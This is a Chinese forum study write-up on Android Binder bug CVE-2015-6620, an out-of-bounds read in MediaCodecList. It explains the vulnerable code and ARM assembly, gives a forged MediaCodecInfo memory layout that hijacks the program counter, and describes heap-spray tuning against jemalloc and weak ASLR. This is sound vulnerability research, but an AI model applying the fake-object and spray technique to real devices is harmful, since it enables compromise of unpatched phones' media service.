cve-2015-6620學習總結

Editor發表於2018-05-21


前言

想學習下android漏洞方面的知識,搜了下發現Flanker Edward在知乎上有個回答,提到了binder的經典漏洞cve-2015-6620,所以就從這個漏洞開始學習。作者提供了poc以及文件,這篇筆記主要記錄下學習中遇到的問題,以及自己的一些理解。


環境搭建與基礎知識

第一次除錯android漏洞,搭建環境花了些力氣,主要有如下環境,推薦安裝pead-arm和shadow這兩個gdb外掛。

android原始碼環境:Ubuntu16.04 android_6.0.0_r1

gdb除錯環境搭建

peda-arm安裝,除錯介面更加方便

shadow安裝,方便除錯jemalloc

這是android平臺上的binder方面的漏洞,所以涉及一些android底層的知識需要學習下。

binder

智慧指標


漏洞成因

cve-2015-6620包含兩個漏洞,編號分別為24123723和24445127。主要分析的是24445127 MediaCodecInfo越界訪問,因為這個漏洞可以利用的點更多些。漏洞存在於MediaCodcList服務。該Binder服務提供了一個getCodecInfo的功能,存在漏洞的程式碼如下:


//http://androidxref.com/6.0.0_r1/xref/frameworks/av/media/libmedia/IMediaCodecList.cpp#54

status_t BnMediaCodecList::onTransact(

uint32_t code, const Parcel& data, Parcel*reply, uint32_t flags)

{

switch (code) {

case GET_CODEC_INFO:

{

CHECK_INTERFACE(IMediaCodecList, data, reply);

size_t index=static_cast<size_t>(data.readInt32());

const sp<MediaCodecInfo> info=getCodecInfo(index);//呼叫服務端的實現

if(info !=NULL) {

reply->writeInt32(OK);

info->writeToParcel(reply);

}else{

reply->writeInt32(-ERANGE);

}

returnNO_ERROR;

}

break;


從Parce中讀取從客戶端傳來的索引index,然後呼叫在服務端的實現的getCodecInfo。看下在MediaCodecList中實現的getCodecInfo


//http://androidxref.com/6.0.0_r1/xref/frameworks/av/include/media/stagefright/MediaCodecList.h#49

struct MediaCodecList : public BnMediaCodecList {

Vector<sp<MediaCodecInfo> > mCodecInfos;

virtual sp<MediaCodecInfo> getCodecInfo(size_t index) const {

returnmCodecInfos.itemAt(index);  //未進行任何邊界檢查

}

}


可以看到直接呼叫了vector的itemAt函式,並未進行任何邊界檢查。而index是我們作為客戶端程式可以控制的,這個地方就存在一個越界訪問的漏洞。


漏洞利用


根據漏洞的成因,我們現在有這樣一個能力:可以越界訪問Binder服務所在程式中的一個vector<sp<MediaCodecInfo>>,但是隻能讀取不能寫入。漏洞的作者利用這樣一種能力可以實現任意地址讀取和pc暫存器的控制,很是神奇。主要分析下pc控制的原理。在分析poc原理前,需要了解相關物件在記憶體的佈局,如下圖所示:
cve-2015-6620學習總結

pc control poc原理分析


一個越界讀可以造成pc的控制,關鍵在於getCodecInfo的呼叫: const sp\<MediaCodecInfo\> info = getCodecInfo(index);


//sp 拷貝建構函式

template<typename T>

sp<T>::sp(const sp<T>& other)

: m_ptr(other.m_ptr)

{

if(m_ptr) m_ptr->incStrong(this);

}


上面的程式碼是用getCodecInfo函式的返回新建了一個info物件,這就會呼叫info的拷貝建構函式。info的型別為sp,sp的拷貝建構函式如上所示。可以看看getCodecInfo的彙編版本,像這樣返回物件的函式,一般會把R0指向返回物件儲存的地址。



//libstagefright.so

.text:000A9478; android::sp<android::MediaCodecInfo> __usercall android::MediaCodecList::getCodecInfo@<R0>(const android::MediaCodecList*this@<R1>, size_t index@<R2>)

.text:000A9478return_obj=R0                         ;儲存的就是上面info的地址

.text:000A9478this=R1                               ; const android::MediaCodecList*

.text:000A9478index=R2                              ; size_t

.text:000A9478                PUSH.W          {R11,LR}

.text:000A947C                MOV             R3, R0

.text:000A947E                LDR             R0, [this,#0x5C]

.text:000A9480                LDR.W           R0, [R0,index,LSL#2] ; 這裡可以越界讀取

.text:000A9484                STR            R0, [R3]; 設定info.m_prt

.text:000A9486                CMP            R0,#0

.text:000A9488                ITT NE

.text:000A948A                MOVNE           this, R3 ; 呼叫info的拷貝建構函式,因為inline優化直接呼叫了(info.m_ptr)->incStrong()

.text:000A948C                BLXNE           _ZNK7android7RefBase9incStrongEPKv ; android::RefBase::incStrong(void const*)

.text:000A9490                POP.W           {R11,PC}

.text:000A9490; End of function android::MediaCodecList::getCodecInfo(uint)


可以看到會將vector的內容讀取到R0中,如果R0不為零,會呼叫incStrong, 程式碼如下:


//http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#322

void RefBase::incStrong(const void*id) const

{

weakref_impl*const refs=mRefs;

refs->incWeak(id);

refs->addStrongRef(id);

const int32_t c=android_atomic_inc(&refs->mStrong);

ALOG_ASSERT(c >0,"incStrong() called on %p after last strong ref", refs);

#if PRINT_REFS

ALOGD("incStrong of %p from %p: cnt=%d\n", this,id, c);

#endif

if(c !=INITIAL_STRONG_VALUE)  {

return;

}

android_atomic_add(-INITIAL_STRONG_VALUE, &refs->mStrong);

refs->mBase->onFirstRef();//這裡有虛擬函式的呼叫

}


彙編程式碼版本,可以清楚看到存在虛擬函式的呼叫:


//libutils.so

.text:0000E6BE; void __fastcall android::RefBase::incStrong(const android::RefBase*const this, const void*id)

.text:0000E6BE                EXPORT _ZNK7android7RefBase9incStrongEPKv    

.text:0000E6BE                                        

.text:0000E6BEthis=R0                                         ; const android::RefBase*const

.text:0000E6BEid=R1                                           ; const void*

.text:0000E6BE                PUSH            {R4,LR}

.text:0000E6C0                LDR             R4, [this,#4]     ;this存放的就是越界讀取的內容

.text:0000E6C2refs=R4                               ; android::RefBase::weakref_impl*const

.text:0000E6C2                MOV             this, refs ; this

.text:0000E6C4                BLX             j__ZN7android7RefBase12weakref_type7incWeakEPKv ;

.text:0000E6C8                DMB.W           SY

.text:0000E6CC                LDREX.W         R3, [refs]

.text:0000E6D0                ADDS            R2, R3,#1

.text:0000E6D2                STREX.W         R1, R2, [refs]

.text:0000E6D6                CMP            R1,#0

.text:0000E6D8                BNE             loc_E6CC

.text:0000E6DA                CMP.W           R3,#0x10000000

.text:0000E6DE                BNE             locret_E700

.text:0000E6E0                DMB.W           SY

.text:0000E6E4                LDREX.W         R0, [refs]

.text:0000E6E8                ADD.W           R12, R0,#0xF0000000

.text:0000E6EC                STREX.W         R3, R12, [refs]

.text:0000E6F0                CMP            R3,#0

.text:0000E6F2                BNE             loc_E6E4

.text:0000E6F4                LDR             R0, [refs,#8]

.text:0000E6F6                LDR             refs, [R0]  ; vtable

.text:0000E6F8                LDR             R2, [R4,#8] ; 可以通過這裡控制pc

.text:0000E6FA                POP.W           {R4,LR}

.text:0000E6FE                BX              R2


梳理一下就是,越界讀取的內容放入R0,然後進行如下操作:


refs=[R0+4]

if([refs]==0x10000000)

mbase=[refs+8]

vtable=[mbase]

call [vtable+8]


也就是說如果我們在記憶體中偽造了合適的MeidaCodecInfo,並且將指向該偽造的MediaCodecInfo的指標放入vector<sp<MediaCodecInfo>>儲存區的後面,這樣我們就可以通過越界訪問,讀取到指向該偽造的MediaCodecInfo的指標,進而控制pc。我們可以在記憶體中偽造如下的MediaCodecInfo:


//BASEADDR 為假MediaCodecInfo的起始地址

*(BASEADDR)=vtale;//設定MediaCodecInfo vtable 隨便填寫

*((unsignedint*)BASEADDR+1)=BASEADDR+12;    //mRefs, 使他指向BASEADDR+12

*((unsignedint*)BASEADDR+3)=0x10000000;       //mRefs指向此處,即虛假的info->mRefs的起始地址

*((unsignedint*)BASEADDR+5)=BASEADDR+0x20;  //info->mRefs->mBase欄位,使他指向BASEADDR+0x20

*((unsignedint*)BASEADDR+8)=BASEADDR+0x20+4; //mBase的vtable欄位,使他指向BASEADDR+0x20+4

*((unsignedint*)BASEADDR+11)=0x61616161;         //vtable+8, 我們可以在此處放置目標pc


最終poc執行成功,mediaserver執行到我們指定的位置:0x61616161


cve-2015-6620學習總結


堆噴射的問題


要成功的執行poc實現漏洞利用的目的,要進行兩次堆噴射,第一次是將我們偽造的MediaCodecInfo噴射到記憶體中,第二次是將我們偽造的MediaCodecInfo的地址噴射到vector<sp<MediaCodecInfo>>的儲存區的後面,這樣可以通過越界讀取,來觸發漏洞。


但是遇到了如下問題:

1.作者的poc中,硬編碼了一個地址0xb3003010,就是在作者的測試機器上,作者噴射的偽造的MediaCodecInfo有很大概率會落在這個地址上。作者說之所以是0xb3003010而不是0xb3003000是因為資料前面還有0x10位元組的後設資料,但是我們知道jemalloc中存放資料的region和run都不包含後設資料,那麼這個後設資料是哪裡來的?


先看下是如何堆噴射的,作者使用IDrm.provideKeyResponse進行堆噴射的,服務端在拿到response後,最終會呼叫Session.provideKeyResponse處理:


typedef android::KeyedVector<android::Vector<uint8_t>,

android::Vector<uint8_t> > KeyMap;

status_t Session::provideKeyResponse(const Vector<uint8_t>& response) {

String8 responseString(

reinterpret_cast<const char*>(response.array()), response.size());

KeyMap keys;

Mutex::Autolock lock(mMapLock);

JsonWebKey parser;

if(parser.extractKeysFromJsonWebKeySet(responseString, &keys)) {

for(size_t i=0; i < keys.size();++i) {

const KeyMap::key_type& keyId=keys.keyAt(i);

const KeyMap::value_type& key=keys.valueAt(i);

mKeyMap.add(keyId, key);         //在這裡會將payload儲存到堆

}

returnandroid::OK;

}else{

returnandroid::ERROR_DRM_UNKNOWN;

}

}


可以發現噴射的資料最終是儲存在android::Vector中的,通過檢視原始碼發現:android::Vector的資料是儲存在SharedBuffer中的。0x10位元組儲存的就是SharedBuffer的私有變數


int32_t        mRefs;

size_t         mSize;

uint32_t       mReserved[2];


2.第一次堆噴射需要將指向偽造的MediaCodecInfo的指標噴射到vector<sp<MediaCodecInfo>>的儲存區的後方,但是我在執行作者poc的時候,越界讀取很少可以命中,所以就想如何可以提高命中率。


作者的方法是:vector的儲存區肯定是jemalloc分配的,肯定是落在某個大小的region內,所以作者首先計算出這個大小,然後後面堆噴射時,噴射出大量相同大小的region,這樣後面越界讀取就有很大概率命中。所以關鍵是如下步驟:


計算vector<sp<MediaCodecInfo>>的儲存區所在region大小


確保堆噴射時,分配的是相同大小的region


通過除錯發現vector<sp<MediaCodecInfo>>的儲存區所在region大小和作者中poc給的一致,但是在除錯時發現噴射的payload並沒有落在大小為160的region內,而是在0x100的region內。


原因就是payload在mediaserver中是儲存在Vector中的,Vector在分配空間時會多分配一些,所以大小為160的payload,最終會放置在大小大於160的region中,通過除錯,我把payload大小改為96就可以保證分配在160的region中。


修改後,執行poc後,記憶體佈局如下圖所示:


cve-2015-6620學習總結


3.作者並未說明是如何找到0xb3003010這個地址的,存在這樣一個地址的依據是什麼呢?


查了一些關於android堆噴射的資料,都提到jemalloc相比之前的dlmalloc更脆弱些,具體表現在如下方面:

堆地址中的熵較少

很容易猜測到資料位置

儲存資料的region中沒有後設資料

dlmalloc會檢查後設資料的合法性


上面的堆地址熵較小表現在:32位ARM系統上的ASLR演算法的實現很簡單,ASLR會將所有的模組隨機向下移動幾頁,範圍在0~255頁,程式碼如下,mmap_rnd_bits可以通過/proc/sys/vm/mmap_rnd_bits 來改變。


//kernel/arch/arm/mm/mmap.c

static unsignedlongmmap_base(unsignedlongrnd)

{

unsignedlonggap=rlimit(RLIMIT_STACK);

if(gap < MIN_GAP)

gap=MIN_GAP;

elseif(gap > MAX_GAP)

gap=MAX_GAP;

returnPAGE_ALIGN(TASK_SIZE-gap-rnd);

}

void arch_pick_mmap_layout(struct mm_struct*mm)

{

unsignedlongrandom_factor=0UL;

if((current->flags & PF_RANDOMIZE) &&

!(current->personality & ADDR_NO_RANDOMIZE))

//隨機出向下移動幾頁

random_factor=(get_random_long() & ((1UL<< mmap_rnd_bits)-1)) << PAGE_SHIFT;

if(mmap_is_legacy()) {

mm->mmap_base=TASK_UNMAPPED_BASE+random_factor;

mm->get_unmapped_area=arch_get_unmapped_area;

}else{

mm->mmap_base=mmap_base(random_factor);

mm->get_unmapped_area=arch_get_unmapped_area_topdown;

}

}


可以看到隨機移動的範圍不大,而程式的各個模組在大範圍的是相對固定的,比如在我的機器上,堆分配的空間基本落在0xaf000000 - 0xb6000000 之間,當分配的記憶體遠大於255頁時,就基本可以找到一個穩定的地址來放置payload,可以粗略計算下:


作者構造的payload在binder服務端,最終是儲存在Vector中的,Vector會多分配一些空間。在我的機器上最終分配的空間大小為6144位元組,放在大小為0x1800的region內,都是放在大小為0x3000的run內,每個run可以放置兩個這樣的region,並且run是頁對齊的。也就是說分配兩次payload就佔用了3頁大小空間,作者的poc一共分配了0x1200次,理論講會一共分配了6912頁,當然實際中會存在回收後再利用的情況,在我的機器上實際上分配了3000多頁,這是遠遠大於隨機移動的0~255頁。所以可以找到這樣一個相對穩定的地址。


總結


作者並沒有給出explicit,但是提到可以用 CVE-2015-1528 exp的思路,後續會繼續學習下這個思路,有成果了就補上。小弟剛開始學習漏洞這塊,有錯誤懇請大佬們指正。


學習資料


漏洞作者給的文件以及poc: https://github.com/flankerhqd/mediacodecoob

adb+gdb : https://wladimir-tm4pda.github.io/porting/debugging_gdb.html

binder學習:https://blog.csdn.net/universus/article/details/6211589

jemalloc: https://blog.csdn.net/koozxcv/article/details/50973217

shadow jemalloc 除錯: https://blog.csdn.net/hl09083253cy/article/details/79147625

shadow 安裝:https://github.com/CENSUS/shadow

heap fengshui: https://bbs.pediy.com/thread-55879.htm

ASLR:http://drops.xmd5.com/static/drops/papers-14181.html



原文連結:https://bbs.pediy.com/thread-226699.htm

本文由看雪論壇 glider菜鳥 原創

轉載請註明來自看雪社群